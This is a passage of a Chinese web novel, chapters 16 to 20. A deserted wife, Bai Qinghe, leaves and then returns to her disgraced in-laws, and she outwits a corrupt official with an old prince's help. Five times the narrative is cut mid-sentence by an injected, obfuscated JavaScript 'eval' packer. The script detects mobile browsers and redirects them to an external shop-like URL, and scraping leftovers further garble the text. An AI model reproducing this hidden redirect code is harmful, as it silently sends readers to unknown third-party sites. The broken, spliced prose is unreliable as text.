白青禾俯身行礼。 誉亲王嫌弃道:“行了,也没有外人,刚才紫丫头找我,说什么帮我找绫箫公子和锦瑟姑娘,你真能找到?” 白青禾就知道老王爷闲得长毛,会为两个人上门帮忙。 绫箫公子倒是好找。 可锦瑟姑娘是谁? 老王爷这棵大树肯定得抱紧。 赵鹏时不时上门骚扰,他只是个小角色,更厉害的敌人还藏在暗处。 公爹这个糙人根本指望不上,小叔又是个书呆子。 她可没有能力保护慕家。 关键时刻,老王爷还是挺管用的。 “王爷,您给民妇点时间,民妇肯定能找到。” 誉亲王高兴了,“就知道你这丫头聪明。” 白青禾还有条件,“王爷,您答应我的,不帮我家恢复爵位,怎么也得帮二郎恢复官职吧。” 朝廷有人好办事,慕卿白恢复了官职,时不时到皇上面前露个脸,那些恶人再想动慕家就得掂量掂量了。 誉亲王指着白青禾嘲讽道:“这丫头,本王大晚上被你们拎来,不求你们报答,让你干这点事,就跟我讲条件。” 白青禾伸出两根手指,“十天,十天我保证帮您找到。 誉亲王高兴了,“好,只要你帮我找到人,我就去找我那皇上侄子说,恢复你家二郎的官职。” 16.第 16 章 睿亲王一直在慕家坐了大半个时辰才走。 白家表面盛情招待,心里却巴不得他早点离开。 不是慕家用完人就扔。 而是慕卿白刚从边关回来,慕家所有人都想知道实情。 白青禾的目光一直若有似无地落在小叔身上。 他精神还算可以,此行应该顺利。 只是不知道他有没见到慕卿岚。 他走了大半个月,应该见到了吧。 如果没见到,断不能这么快赶回来。 可既然见到了,为什么只有他一个人回来。 慕卿岚…… 会不会遇到了什么危险…… 虽然成亲一年,只相处一日,又受他连累住破庙,白青禾的心里,还是希望他能平安健康的。 慕卿紫频频给二哥使眼色,可惜誉亲王这么大个人物,大家做什么都不方便。 待誉亲王离开,白青禾关好门,立刻赶回正房,询问情况。 “卿白,你出门还顺利吧?路上有没有遇到麻烦?有没有人查你……” 她一口气问了很多问题,最最想问的却始终无法出口。 慕卿白捡重要的回大家。 “还算顺利,遇到几道关卡都躲过去了,见到了大哥……” 慕夫人身体一抖,眼泪扑朔朔的又流了下来。 “你大哥他怎么样?他好不好?有没有受伤?” 慕卿白一一回道:“大哥很好,受些轻伤,已经恢复。” 说来说去都说不到重点,慕卿紫急道:“二哥你快说,既然见到了大哥,他又健康,为什么没跟你回来?” 白青禾死死盯着慕卿白,这个问题正是她想问的。 慕卿白难得有了情绪变化,眉心紧紧蹙起。 白青禾知道情况不好,可哪里出了问题,她又想不明白。 “卿白,你倒是说啊,他为什么没跟你回来?” 慕卿白只能实话实说:“大哥他……不肯走。” 慕夫人忽然忍不住掩面而泣,“他为什么不回来?他不要爹娘了吗?媳妇也不要了?” 慕卿岚隔着远,她见不到,把怒火都撒到小儿子身上。 “卿白,你老实说,你是不是没见到卿岚,娘不怪你无功而返,只求你说实话,卿岚他好好地,为什么不回来?” 慕卿白实在说不出口,面对一家人的诘问,他又无法隐瞒。 “大哥他……” 慕夫人揪着慕卿白的衣服,急火攻心,“他到底怎么样了,你倒是说啊!” 慕卿白:“大哥他做了北域王的金刀驸马。” 慕夫人痛到难以自持。 她使劲拍着自己胸口,恨不得掐死那个不孝子。 “我怎么生了这么个孽畜,他爹娘被连累至此,他是怎么有脸做人家驸马的……” 慕卿紫是个暴脾气,当即就要提剑去找慕卿岚讨说法。 “我去把他抓回来,让他给爹娘认错。” 白青禾当初听说国公府被削爵,第一次犹如雷劈。 今天是第二次。 慕卿岚投敌叛国,她怨过恨过,可很快原谅了他。 生死存亡之际,谁不想活着呢! 可他怎么能娶北域的公主,做人家的驸马。 那她这个明媒正娶回来的妻子算什么! “卿白……” 白青禾浑身发软,实在撑不住自己的身体,缓缓往地上到去。 慕卿白眼疾手快,及时扶住了她。 碍着叔嫂关系,两个人中间隔着一步远的距离。 幸亏慕卿白手臂长,否则还够不到白青禾。 “嫂嫂……保重。” 白青禾转身抓住慕卿白的衣袖,眼里噙着泪水,望着他的眼神柔弱又无助。 “你有没有跟他说,我还在等他?” 慕卿白不忍伤害一心盼着大哥回来的嫂子。 可他又不想隐瞒。 “提了。” 白青禾忍着心痛问道:“他怎么说?他就没有一点后悔迟疑难过?没为我考虑过?” 慕卿:“……他希望你珍重。” 这不是白青禾想要的。 她不是没有自尊的姑娘,人家不要她,她还死赖着不走。 伤够了,痛够了,她也要为自己打算。 “那……和离书呢?你有没有帮我讨?” 慕卿白暗暗握了握拳头,“他不肯写。” 白青禾忽然崩溃,她使劲把慕卿白推开,哭着冲出了正房。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527559|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>他已经做了北域的驸马,却还不肯和她和离,这是要她守着慕家替他尽孝一辈子吗! 凭什么他不肯回来,她却要把大好的青春蹉跎在这里。 她又不是没有娘家,无处可去。 白青禾回到东厢房收拾东西。 慕家她一刻都不想待了。 男人都再娶了,她有什么理由顾念旧情。 她现在唯一后悔的是,国公府被削爵那天,她没有干脆利落的离开。 哪怕有一点点希望,她都愿意撑下去,和慕家共同进退。 希望彻底破灭,她要老死不和慕家往来。 慕夫人痛不欲生,还念着儿媳妇。 推着慕卿紫出去,“别让你嫂子走。” 慕卿紫急忙赶过去阻拦,“嫂子,我不要你走,我不能让你去给别人当嫂子,你只能是我嫂子。” 白青禾失去理智,哪还会顾及一点姑嫂情。 “你嫂子远在北域,是北域的公主,高贵着呢,我一个无知的民妇,哪配做你嫂子。” 慕卿紫急得比她娘流的眼泪还多。 “嫂子,反正我不许你走……” 她抢走白青禾手里的包袱,怨恨道,“偏生我不是男子,否则你嫁给我,我娶你。” 白青禾力气小,没有练过武功的慕卿紫力气大,抢不过包袱,干脆不要了。 “你大哥都另娶了,还要我留下来,给人看笑话吗!” 慕卿紫死死拦在门口,说什么都不肯让开。 她知道,嫂子这一走就是永别。 大哥不回来就算了,嫂子不能离开。 “嫂子,我求你了还不行,你别走了,别走……” 两个人正僵持着,忽然传来慕宗岳特别着急的喊声:“青禾,小紫,你娘晕倒了,快去找大夫——” 慕卿紫再也顾不上白青禾,急忙跑出去找大夫。 白青禾不想再管这个嘤嘤怪婆婆,她拎上包袱急匆匆跑出去。 路上遇到慕卿白,脚步顿了顿,迁怒道:“你还要用剑指着我吗?” 慕卿白面无表情的看着她,没说一个字。 白青禾就知道他没脸再拦自己,干脆利落走出慕家。 这里是她的伤心地,她再也不要回来了。 17.第 17 章 白青禾步履匆匆离开慕家,越走越心惊,总觉身后有人跟着她。 天没彻底黑透,可她一个柔柔弱弱的小女子,还是忍不住恐慌。 她不由得加快脚步,躲在拐角后边悄悄观察。 竟然是慕卿白一直跟在身后。 她眼角还有未擦掉的泪痕,满脸怒容地等他走近。 “你跟着我干什么!” 这是白青禾第一次用这么生硬的口吻和慕卿白说话。 嫁进国公府一年有余,没和公爹红过脸,没和婆母吵过架,没和小姑拌过嘴,至于这个长住书院的小叔,更是客气有礼。 慕卿白给出的理由很简单:“一年前,我慕家八抬大轿把你抬回府,如今你要回去,我必须保证你的安全,把你安然无恙送到白家。” 白青禾余怒未消,“不用你假好心,我自己能回去。” 慕卿白没再说话,但也没走。 白青禾走一步,他跟一步。 白青禾停下,他便停下。 白青禾气鼓鼓地瞪着他,“当日八抬大轿接我的是慕卿岚,跟你没关系,你不是他,不用替他履行责任。” 慕卿白惜字如金,再也不肯开口。 白青禾一拳仿佛打在棉花上。 她一个人回去,母亲疼她,怎么也要把她留下来。 慕卿白跟过去,以父亲的性格,肯定要把她赶回慕家。 慕宗岳前半生屡立奇功,和皇上从穿开档裤子玩到大,还在战场上为皇上挡箭,失去半条腿。 皇上算是位明君,父亲和祖父肯定会认定慕家有东山再起那天。 断不会让她这个时候离开慕家。 偏生慕卿白像滚刀肉一般,怎么赶都不肯走。 “娘都急病了,你不回去照顾,跟着我干什么。” 慕卿白这次给回应了。 “你不回去,她好不了。” 白青禾跟他说不明白,“你不要以为我心软,就道德绑架我,慕卿岚都不要他父母了,我一个才相处一年的外人,凭什么替他尽孝。” 慕卿白开起沉默模式。 白青禾也懒得和他浪费口舌。 有说服慕卿白的功夫,还不如想办法说服父亲。 慕家出事后,白青禾还是第一次回娘家。 她担心白家会被牵连,尽量躲着。 今天回门,白母听说女儿回来了,急忙放下手里的活计出来迎接。 “青禾,怎么大晚上的回来了,你公公婆婆……” 她话没说完,注意到不远处默默向她行礼的慕卿白,诧异道:“二郎也来了啊,快进屋。” 白青禾转头冷冰冰的对慕卿白说:“我现在平安到家了,你可以走了。” 慕卿白有自己的道理:“让我和叔叔婶婶交代一声。” 白青禾了解他的德行,不再浪费唇舌。 她让桃花把慕卿白带进客堂,她则和母亲去后院说话。 “娘,慕卿岚真的投敌了,还娶了敌国公主,我从慕家出来了,再也不会回去了。” 白母是个温柔贤惠的内宅妇人。 平时接触的都是家里这些芝麻琐事。 白父身为文官,负责礼部各种事情。 没有接触战场的机会。 白母也不懂战场上的事。 她只知道慕卿岚投敌是因为轻敌冒进,孤军奋战被敌国所擒。 没想到战犯还能娶高贵的公主。 “消息确实吗?别是道听途说。”白母吓得心惊肉跳,尚能保持几分冷静。 白青禾凑到母亲耳边道:“怎么不确实,二郎去边关见到他了,回来说的。” 白母吓坏了,“上边有旨,慕家人不许私自出京,二郎胆子也太大了,竟然跑去那么远的地方。” 白青禾心说,二郎不光胆子大,心思也细。 武功还好,人长得也是出类拔萃…… 不对,她干嘛要夸慕卿岚那个混蛋的弟弟。 “娘,已经平安回来了,只要您别往外说就行了。” 白母无奈道:“我瞒还瞒不过来,怎么会往外说。” 她联想刚才见到慕卿白的神色,担心道:“你这么回来慕家同意吗?别是你自己要回来的,你公婆都没同意。” 白青禾不知道说什么好。 她确实是私自回来的。 知女莫如母,白母还有什么不明白的。 “不是娘不留你,慕家没同意,你自己回来,你爹是不会让你留下来的。” 白青禾堵着一口气,“反正我是不会回去的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17531207|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她话音刚落,白父忽然出现在屋里。 “跟二郎回去。” 白父铁青着一张脸,只有一句话。 白青禾已经够委屈自己了,照顾嘤嘤怪的婆婆,侍奉脾气暴躁的公爹,不谙世事的小姑还有个动辄拔剑的小叔。 仇人见到她活成这样都得心生同情。 “我不。” 白父一副你怎么这么不懂事的神色瞪着她。 “二郎进屋说了一共不到三句话,之后就坐在屋里不走,什么意思,你还不懂吗?” 白青禾在婆家是打不死的小强,面对父母也有柔弱的一面。 她眼里含泪,委委屈屈的说道:“慕卿岚都娶敌国公主了,还要我留在慕家尽孝,我是什么贱胚子吗,今天说什么我都不回去。” 白父生气道:“你不走,我让人把你绑回去。” 白青禾固执道:“你敢让人绑,我就不活了!” 白父就这一个宝贝女儿,两个儿子动辄动手打骂,对女儿可没戳过一指头。 他气得吹胡子瞪眼,偏生拿女儿没办法。 白母心疼女儿,忍不住帮她说情。 “青禾也是我们宝贝着长大的,都跟公婆一起住破庙了,还要我们怎么样!” 白父舍不得跟女儿发火,把气都撒到夫人身上。 “妇人之见,你懂什么!” 白夫人不敢反抗,冷着脸色不吭声。 白父忍了片刻,语重心长道:“你这个丫头,怎么这么死心眼!” 白青禾可没觉得自己死心眼。 “慕卿岚这么对我,我还要帮他孝顺父母才是死心眼。” 白父叹了口气,“你这个时候离开慕家,破庙住了,公婆也照顾了,苦吃了,累受了,却还要顶个嫌贫爱富、忘恩负义的骂名,你就没想过皇上对魏国公有感情,早晚会恢复他的爵位,那时白家怎么看你?” 白青禾还在生气:“我才不管白家怎么看我。” 白父继续苦口婆心的劝:“你好好想想,如今慕家败落,你回来还能嫁个好人家吗?留在慕家,待慕家起复,魏国公不是什么恶人,他肯定把你当亲生女儿,有慕家做后盾,你嫁什么样的人家不行,白青禾,我跟你说,别你前脚走了,慕家后脚恢复爵位,有你后悔的。” 18.第 18 章 白父所言十分有理。 白青禾不是听不进去劝的人。 她受了那么多苦,如今返回娘家,一般人家忌惮她前夫投敌,有心也会避开。 最后只能嫁给一个自己不喜欢,家世也不怎么样的男人。 三妻四妾还是好的,万一家暴…… 那时慕家如果恢复了爵位,她之前吃了那么多苦不得后悔死。 白青禾仔细咀嚼父亲所劝。 最终还是决定回去。 “我回去可以,不过得有个时间,最多两年,那时慕家肯定度过难关了,我或者回来或者改嫁,你们不许拦我。” 白母心疼女儿,还要去住乐人区。 “慕家发生那么大的事,就让青禾在家住几天吧。” 白父不同意,“这个时候,慕家是最难的时候,她应该和慕家同舟共济。” 白青禾见到父母,气消差不多了。 这会逐渐想通,别的不说,慕卿白都不是好打发的。 她不回慕家,他大有住在白家的趋势。 她敢笃定,一会儿慕宗岳夫妻和慕卿紫都得找过来。 “娘,我还是听爹的,回去吧。” 白母刚才吩咐管家准备了饭菜,她舍不得女儿,“好不容易回来一趟,吃了饭再走吧。” 白青禾好久没吃过家里的饭菜了。 可婆母还病着,她既然决定回去,不关心婆母的病情怎么行。 “娘,二郎还在屋里等我,我婆母病了,我还是回去吧,改天再回来吃饭。” 白父催促道:“那你还不快点走。” 白青禾依依不舍得辞别父母,去客堂找人。 “我父母担心婆母的身体,我想着也是那么回事,先跟你回去,等婆母病好了,我再回来。” 她别别扭扭瞧了一眼慕卿白,别别扭扭地说道。 慕卿白坐在圈椅上仿佛一座雕塑,听说嫂子要回去,忽然起身,惨白的脸上终于有了些血色。 “好。” 两个人一起离开白家。 刚开始一前一后,走在黑夜里。 后来也不知道是前边的故意放慢速度,还是后边的加快脚步,两个人并肩同行。 白青禾心里计较着。 既然暂时回不来白家,还是要帮慕家度过难关才行。 誉亲王答应帮他找到绫箫公子和锦瑟姑娘就找皇上说情,恢复慕卿白的官职。 虽然只是个六品翰林,和慕卿岚的四品威远将军没法比。 可到底入朝为官了。 慢慢的总能抓到升官的机会。 “我这几天和小紫去教坊玩,老王爷特别喜欢孙筠筠弹奏的《锦瑟》,听说词是一个叫锦瑟的姑娘作的,老王爷答应我俩,只要我俩帮他找到绫箫公子和锦瑟姑娘,他就帮你恢复官职,你觉得怎么样?” 今晚明月高悬,月光十分明亮。 慕卿白逐渐放慢脚步,一本正经的给白青禾行礼。 “二郎感谢嫂嫂扶持推举之恩。” 白青禾看他态度谦卑,恭敬有加,心里终于舒服些。 “知道感恩就好,我可不是为我自己,你别像你大哥,做那种忘恩负义之人。” 慕卿白认认真真道:“二郎谨记嫂嫂教诲。” 白青禾还算满意她看到的。 这会心里敞亮多了。 “只是不知道锦瑟姑娘是谁,明天好好打听打听。” 慕卿白不自然的蹭了蹭鼻子,没说话。 老王爷晚上来时,他听了一耳朵帮老王爷找人,恢复他官职的事,他当时一门心思都在怎么和家人交代上,没往心里去。 此刻回味,竟是嫂嫂一直在帮他筹谋。 早知道慕家离不开她,有了她,这个家才像个家。 白青禾听不到回话,不由得加快脚步,“婆母急坏了,也不知道大夫到没到,现在怎么样了,我们快点。” 两人到家时,大夫刚给慕夫人检查完,主因是急火攻心,次因是豪门贵妇人,不得点富贵病对不起自己的身份。 “两种治法,一种吃几副汤药就行,不过无法根治;一种要连吃一个月,配上我的针灸,保证夫人恢复如常。” 刘大夫最懂察言观色。 慕家被削爵,肯定没银子医治。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533400|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我先给夫人开几副汤药吧。” 慕宗岳最关心夫人的身体。 “还是得根治才行,刘大夫,你给我夫人根治,必须给我夫人治好。” 刘大夫为难道:“根治的话,得用百年以上的人参、灵芝才行。” 慕夫人心疼银子,“算了吧,我这几天觉得还行,就是刚才着急了才会晕倒。” 慕宗岳不同意:“你只管说多少银子?” 刘大夫伸出三根手指。 慕宗岳咂舌:“三十两?” 刘大夫:“……是三百两。” 慕宗岳好半天没吭声。 慕夫人连声道:“不治了,不治了,要吃一个月的药,好人都吃坏了。” 慕宗岳怎么可能同意,“明天我去找皇上,老夫戎马半生,不能到老了,连给夫人买药的银子都没有。” 大夫走后,白青禾走到床前安慰慕夫人。 “娘,您别担心银子,我们有办法,您只管养好身体。” 慕夫人看见白青禾,又忍不住落了泪。 “多好的姑娘,怎么就摊上卿岚这个混蛋。” 慕卿紫愤恨道:“是大哥混蛋,没福气,不知道嫂子有多好,可惜我是个女的,否则我娶嫂子,让嫂子在咱家一辈子。” 慕夫人难过道:“是啊,你是个姑娘……” 话头到这里,心里闪过一个念头,不过很快被她压下去。 慕卿紫没那么多心机,她想到什么说什么。 目光落在慕卿白身上,忍不住激动道:“我是女子,可二哥是男的啊,反正二哥退婚了,正好和嫂子在一起,那嫂子还是我嫂子,连婆家都不用换,称呼也不用换。” 慕卿紫一句话,把屋里所有人都说尴尬了。 白青禾羞得无地自容。 慕卿岚对不起她,她肯定会改嫁,可不能改嫁自己的小叔子啊。 以后世人怎么看他们。 脊梁骨还不得戳破了。 白家也不能同意。 再者,慕卿白能同意吗? 他那么克己复礼,本分老实,只会读书的人,怎么会同意和嫂子在一起。 19.第 19 章 慕宗岳是个糙人,只当女儿开玩笑。 慕夫人出身高门贵族,嫂子和小叔在一起是丑闻,她断不能同意。 女儿的话,她只当没听见。 白青禾尴尬得无地自容,实在好奇克己复礼的小叔什么态度,她悄悄瞥对方一眼。 慕卿白面如寒冰,没有任何情绪变化。 白青禾什么都没看出来。 满屋的空气仿佛凝固了一般。 只有慕卿紫没察觉出来。 她还没说尽兴。 “刚才嫂子要走,我都想好了,我跟嫂子去白家,以后嫂子在哪里生活,我就去哪里生活……” 她还不忘拉上父母,“爹娘,你们也跟着嫂子,是不是?” 白青禾早对这家人不报希望了。 别人和离最多净身出户,她一两银子带不走,还要带上公婆和小姑。 偏生小姑觉得她能力没有上线。 又去问慕卿白:“二哥,你也跟嫂子,是不是?” 慕卿白:“……” 白青禾没心思管小姑说什么,一门心思都在慕家未来的生计上。 她和慕家如此有缘,当初投胎怎么没投胎到慕家,被慕卿岚牵连成了反贼媳妇。 白青禾照顾婆母喝完药,回到自己的房间,这才有时间悲伤春秋。 慕卿岚成了敌国驸马,这辈子都不会再回来。 她没丈夫了。 父母都不赞同她这个时候离开,她也放心不下婆母,至少要坚持到婆母身体恢复。 彻底治好婆母的病需要三百两银子。 她身上只有慕卿白出京前给她的一百两,去除这些日子的花销,还剩九十五两。 小姑身上比脸都干净,前两天给她一钱零花,能剩下一两个铜板不错了。 至于公爹,他都找老王爷打秋风了,哪来的银子。 婆母是个不会算计的,守着国公府那么大家业险些被亲戚和刁奴败光,如今落魄至此,能拿出银子比立刻恢复爵位还要不靠谱。 之前的银子,不知道慕卿白从哪弄的,他是个闷葫芦,朋友不多,为了去边关才想办法弄来的银子。 大概已经到了他能力的极限。 所以,这三百两银子,还是要她想办法。 老王爷寻找绫箫公子和锦瑟姑娘,倒是可以从这上动动心思。 反正老王爷不差钱,为爱好花点银子,他乐得逍遥。 知道丈夫娶了别的女人,原本是个很难过的夜晚。 白青禾满脑子都是怎么搞银子,竟然把这么悲伤的事情给忽略了。 和慕卿紫躺到床上,两人一起琢磨着怎么找人。 慕卿紫靠着墙壁一侧。 她握着白青禾的手,先把大哥骂一顿,之后问白青禾,“嫂子,你说绫箫公子时隔三年才谱一曲,看起来不差钱的样子,应该很难找吧。” 不到万不得已,白青禾不想暴露自己的身份。 “锦瑟姑娘只作过一首词,才是更难找的,小紫,你说他是男的还是女的?” 慕卿紫毫不犹豫道:“肯定是女的啊,人家名字里不带着吗。” 白青禾心说不一定,绫箫公子还带了公子,可她偏生是个姑娘。 两个人讨论来讨论去,完全没有思路,打算明天找孙筠筠问问。 第二天早晨,一家人吃完早饭。 慕宗岳要进宫找皇上。 他叮嘱好白青禾照顾夫人,拄着拐杖离开了家。 白青禾将九十五两银子拿出来,询问慕卿白:“你那还有多少?” 慕卿白将兜掏干净,扣出十几两散碎银子。 白青禾皱眉:“只有这么点?” 慕卿白面无表情的点头。 白青禾不是嫌弃他拿出的银子少,而是怀疑他离开京城的时候身上没带多少银子。 去那么远的地方,自己都够紧张了,还给她留下一百两家用。 这让她莫名有些心疼。 “你这次出门,带了多少银子?” 慕卿白如实说道:“一共二百两,给了你一百。” 从京城到边关,千里之遥,他只带一百两,如今还剩下十几两,可见他这一路有多艰辛。 “以后出门多带些,我们在家,再怎么样也不会饿死,大不了我回白家打打秋风。” 慕卿白不是一个纠结过去的人。 “银子的事,不用嫂嫂操心,我有办法。” 白青禾才不相信,“你哪来的办法?再去老王府偷?” 探花郎沦落到做贼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17535534|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的地步,慕卿白多少有些难堪。 “也不是每次都用偷的。” 白青禾不喜欢抓着过去不放,叮嘱过了,成年人会有自己的安排。 “对了,老王爷答应我们,找到锦瑟姑娘,就帮你恢复官职,我和小紫一会儿去教坊,你也上点心,看看有没有朋友知道此人的,我们一起努力。” 慕卿白微沉的眸子,敛了敛。 意味不明的回她:“嗯。” 白青禾照顾慕夫人吃完药,让刚过来帮忙的桃花留下,她则和慕卿紫换上男装去了教坊。 孙筠筠登上舞台,正要演奏提前排好的曲子。 看见她过来,坐在舞台上朝她点了点头。 纤细的手指按在琵琶弦上,刚刚发出声音,赵鹏不合时宜的带人冲进来。 “有人举报,教坊里有敌国细作,都给本官出来接受排查。” 顷刻间,教坊里人仰马翻,乱到不成样子。 好好的一首曲子没听成。 白青禾瞪着赵鹏,恨不得把人揍一顿。 不过搜查细作是大事。 她可不敢阻拦。 只是怀疑赵鹏借着由子找教坊麻烦,其实根本没有细作这回事。 赵鹏将一百多名教坊司人员一一检查。 到孙筠筠时,着重强调,“此女多次勾结叛国贼家属,仔细检查。” 白青禾还有什么不明白的,孙筠筠昨天帮慕卿白作证,得罪了赵鹏。 他今天就是过来找麻烦的。 眼看着差役要当众扒孙筠筠衣服。 她一个贱民根本不敢反抗。 白青禾看不下去了。 “赵鹏,你检查就检查,羞辱她们做什么,你还是不是个男人!” “我是不是男人,”赵鹏满脸冒油的走到白青禾面前,“表妹要试过才知道。” 白青禾:“你别以为我不知道,你就是故意来找麻烦的,孙筠筠她从小生活在这里,她怎么可能是细作,你别公报私仇!” 赵鹏大手一挥,很快冲上来四五个差役将白青禾团团围住。 “听说慕卿岚做了北域驸马,你这个他明媒正娶的妻子,肯定会帮他打探大周朝消息吧,我看把你带回去仔细检查才好,别跑了你这条漏网之鱼。” 20.第 20 章 白青禾在心里宣布,赵鹏就是她认识所有人里边最讨厌,最恶心,最遭人痛恨的人。 “赵鹏,你有意思吗?慕卿岚是投敌了,可皇上都没治我们罪,你还总过来找麻烦,知道的你是嫉恶如仇,不知道的,还以为小人得志,终于让你逮到机会了!” 赵鹏最讨厌白青禾这张利嘴,从来没讨过便宜。 “我看你是想进大牢了,一会儿让差役好好照顾照顾你!” 白青禾才不怕他:“有能耐你把我抓进去,看看慕卿白敢不敢把你的喉咙割断。” 上次慕家抢药堂,慕卿白一点理没有都敢划破赵鹏脖子。 如今赵鹏故意冤枉他们,慕卿白能放过他才怪。 赵鹏确实惧怕慕卿白那个疯批。 只要没有足够的理由,他就没办法把慕卿白名正言顺的抓起来。 “表妹,我不过跟你开个玩笑,你怕什么!”他给手下一个眼神,示意大家退下。 慕家不行了,白青禾还有白家护着。 真告到皇上那,他也不好处理。 不过孙筠筠一个贱民,捏死她就像捏死一只蚂蚁。 “把孙筠筠给我带回去。” 白青禾下意识赶过去拦人。 “你也就会欺负小姑娘,她好端端的在这唱曲,碍着你什么事了!” 慕卿紫也抽出匕首,和赵鹏对峙,“你今天要敢带走她,我就和你拼命!” 欲加之罪,何患无辞。 孙筠筠毫无背景,仿佛人家砧板的一块鱼肉。 赵鹏命人将白青禾和慕卿紫拉开。 他就是要针对孙筠筠,给慕家一个警告。 谁敢和他作对,帮助慕家,他就要谁付出足够代价。 白青禾心明镜似的,孙筠筠被带走,不死也得扒层皮。 她那么努力的活着,好不容易有脱籍的机会,却被赵鹏这个混蛋盯上…… 白青禾心里着急,也是赶巧,看见老王爷拎着鸟笼子从门口进来。 急忙跑过去求救,“老王爷,不好了,我刚有了绫箫公子的消息,人就要被抓走了。” 老王爷做梦都想让绫箫公子专门给他谱一曲,听说有人搅他的好事,哪里能忍。 “王爷我看看,哪个不长眼的找本王麻烦。” 赵鹏厌恶极了这个老糊涂王爷,碍着身份,还是得老老实实赶过去行礼。 “下官给老王爷请安。” 誉亲王不是好眼色盯着他:“就是你,要抓走给我谱曲的人?” 赵鹏正色道:“不是下官要扰您的雅兴,而是这个女人是北域的细作,下官要把她带回去好好审理。” 老王爷由白青禾和慕卿紫扶着坐下。 他鼻子不是鼻子,脸色不是脸色的瞪着赵鹏,“细作?王爷我火眼金睛,怎么没看出来她是细作?” 赵鹏:“下官接到举报,有证据。” 老王爷越发生气,“好啊 ,王爷我没想听曲时,她在教坊活了二十来年,你不抓,偏生王爷我要听曲了,你就来抓,你是不是诚心找王爷我麻烦?” 白青禾适时接道:“王爷,民女怀疑他是您那些政敌派过来气您的。想早点把您气死,好给他们腾地方,他就是个坏胚子。” “你——”赵鹏被白青禾这张利嘴气得七窍生烟。 偏生白青禾还没说够:“老王爷,就前些年造反那个肖王,赵鹏小时候经常去肖王府,还要认肖王做义父,那肖王嫉妒您对大周子民这片拳拳之心,临死前肯定叮嘱赵鹏,替他找您麻烦。” 誉王和肖王从小不对付,这话可说到了老王爷的痛处。 他指着赵鹏发火:“好啊,原来你竟然是肖王派来的,我说怎么总找王爷我麻烦,来人……” 誉亲王是个老糊涂,从来不讲道理。 赵鹏几乎被他气吐血。 这么大罪,他可当不起,赶紧跪下道歉,“王爷,您这冤枉下官了,下官再不懂事,能故意扰王爷的兴致吗,至于肖王,当年还是家父做的监斩官,下官怎么可能和他有关系……下官真的是在查案。” 白青禾看到赵鹏吓到瑟瑟发抖的惨样,终于舒畅些了。 “王爷,您别听他的,就是他知道我在找绫箫公子,刚从孙筠筠那里打听到消息,他就故意阻拦,惹您生气,他不是肖王派来的,也是别的坏种派过来的。” 赵鹏又气又怒,偏生没办法拿白青禾怎么样。 慕卿紫适时说道:“你把孙筠筠抓起来,好啊,你那么能耐,干脆你给王爷谱首曲子好了。” 赵鹏:“……” 他连曲谱都不认识。 平时最讨厌的事情就是陪着那些文人墨客装高雅,听那些污染耳朵的东西。 “王爷,我……” 誉亲王朝孙筠筠摆摆手,“这姑娘一看就是好人,赵鹏你是不是没长眼睛,看把这姑娘委屈的,来,给王爷弹一曲《锦瑟》压压惊。” 白青禾纠正道:“老王爷,是给孙姑娘压惊。” 老王爷不拘小节,“都一样。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17537432|203157||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孙筠筠收了眼泪,抱着琵琶坐下来,轻拨琴弦,悦耳动听的乐声响起,老王爷眯着眼睛摇头晃脑,显然进入了状态。 